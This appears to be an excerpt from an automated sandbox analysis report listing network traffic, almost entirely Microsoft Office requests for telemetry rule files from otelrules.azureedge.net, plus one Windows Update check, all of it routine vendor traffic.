Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=sxBUYyGPB4eb3VE&MD=xZkMBfWK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
